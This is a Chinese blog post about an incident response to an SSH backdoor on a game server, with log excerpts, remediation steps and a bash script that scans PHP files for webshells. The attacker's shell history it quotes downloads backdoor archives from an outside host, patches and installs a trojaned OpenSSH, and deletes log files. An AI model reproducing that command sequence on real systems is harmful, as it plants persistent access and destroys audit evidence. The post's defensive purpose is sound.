一次ssh被植入后门的经历及解决方案

昨天发现服务器上面很多程序被挂马了,跟开发一起处理了挂马文件,今早发现游戏后台又打不开了,上服务器发现后台程序的入口文件都被删了,恢复了index.php、admin.php后才能正常访问,晚上谁也没上过服务器,可以判定服务器已经被入侵了,开始排查:

1.首先查看安全日志,指定命令如下:

more /var/log/secure |grep Accepted

通过对命令输出的查看,下面几条记录令人怀疑:

Jul 28 05:32:17 localhost sshd[21684]: Accepted password for root from 103.231.104.70 port 3551 ssh2
Jul 28 05:37:52 localhost sshd[22754]: Accepted password for root from 103.231.104.70 port 3602 ssh2
Jul 28 05:44:40 localhost sshd[23396]: Accepted password for root from 103.231.104.70 port 3650 ssh2

这条记录显示5点32分通过root账户从103.231.104.70这个ip成功的登录了系统,103.231.104.70这个ip,经过查询发现是香港特别行政区的一个地址,应该是台代理的机器

2.开始查看系统日志message和wtmp日志,并没有发现什么问题

3.开始查看历史命令,发现了问题:

  387  cp -p /etc/ssh/sshd_config{,.bak}
  388  wget www.k2a.cn/Tools/open.tar.gz
  406  cd /etc/ssh/
  407  ls
  408  wget www.k2a.cn/Tools/patch.tar.gz
  409  ls
  410  tar -zxvf open.tar.gz
  411  tar -zxvf patch.tar.gz
  412  cd openssh-5.9p1.patch/
  413  cp sshbd5.9p1.diff ../openssh-5.9p1
  414  cd ../openssh-5.9p1
  415  patch < sshbd5.9p1.diff
  416  vim includes.h
  417  ssh -V
  418  vim includes.h
  419  vi version.h 
  420  ssh -V
  421  vi version.h 
  422  ./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5
  423  make
  424  make install
  425  id
  426  touch -r sshd_config.bak ssh_config
  427  cd ..
  428  touch -r sshd_config.bak ssh_config
  429  service sshd reload
  430  ls
  431  rm -rf *.tar.gz
  432  rm -rf open*
  433  rm -rf *.bak
  437  cd /var/log/
  439  rm -rf wtmp
  440  rm -rf *log
  442  cd /etc/scl/prefixes/
  448  rm -rf *

通过上面的历史记录可以发现攻击者在服务器上安装了ssh后门,关于ssh后门的文章我也查询了几篇,感兴趣的朋友可以看看:

http://www.freebuf.com/tools/10474.html

http://redkey.blog.51cto.com/335290/1345091

按照上面文章中说的,攻击者已经修改了ssh的版本,用ssh -V查看仍是以前版本,目前紧急处理的方案:

  1. 重装openssh软件,更新至最新版本
  2. 更换ssh默认端口
  3. 在iptable中添加ssh访问策略

在重装openssh新版本的时候,make && make install报错如下:

cannot remove `/usr/bin/ssh': Operation not permitted

使用lsattr查看发现ssh添加了uSia的属性,用chattr将这些属性全部去除后,在重新安装正常!

安装完后可使用ssh -V再次查看版本是否正确

开发同事也帮忙查找代码中的木马,使用脚本如下:

#!/bin/bash
#re=$(find -name "*.php" |xargs grep -l "common")
 
if [ ! -d "$myPath"]; then
        mkdir /tmp/safelog
fi
 
function checksafe()
{
   path="/home/web/$1"
   cd $path
   #re=$(find -name "*.php" |xargs egrep "phpspy|c99sh|milw0rm|eval\(gunerpress|eval\(base64_decoolcode|spider_bc")
   re=$(find -name "*.php" |xargs egrep "phpspy|c99sh|milw0rm|eval\(gunerpress|eval\(base64_decoolcode|spider_bc|eval\(\\$\_POST\[|assert\(\\$\_POST\[")
   len=$(expr length "$re")
   if [ $(echo "$len > 0" | bc) -eq 1 ]; then
                  echo "$re" > /opt/safelog/$1_$(date +%Y%m%d).txt
         #echo "$re" > $path/cache/safelog/$(date +%Y%m%d).txt
   fi
   modifytime $i
}
 
function modifytime()
{
    re=$(find -mtime -1 -type f -name \*.php)
    len=$(expr length "$re")
    if [ $len -gt 0 ]; then
            echo "$re" > /opt/safelog/$1_mf_$(date +%Y%m%d).txt
       #echo "$re" > $path/cache/safelog/mf_$(date +%Y%m%d).txt
    fi
}
 
ls=$(cd /home/web;ls)
 
for i in $ls
do
  echo "$i"
  checksafe $i
done

Leave a Comment

 
Copyright © 2008-2021 lanxinbase.com Rights Reserved. | 粤ICP备14086738号-3 |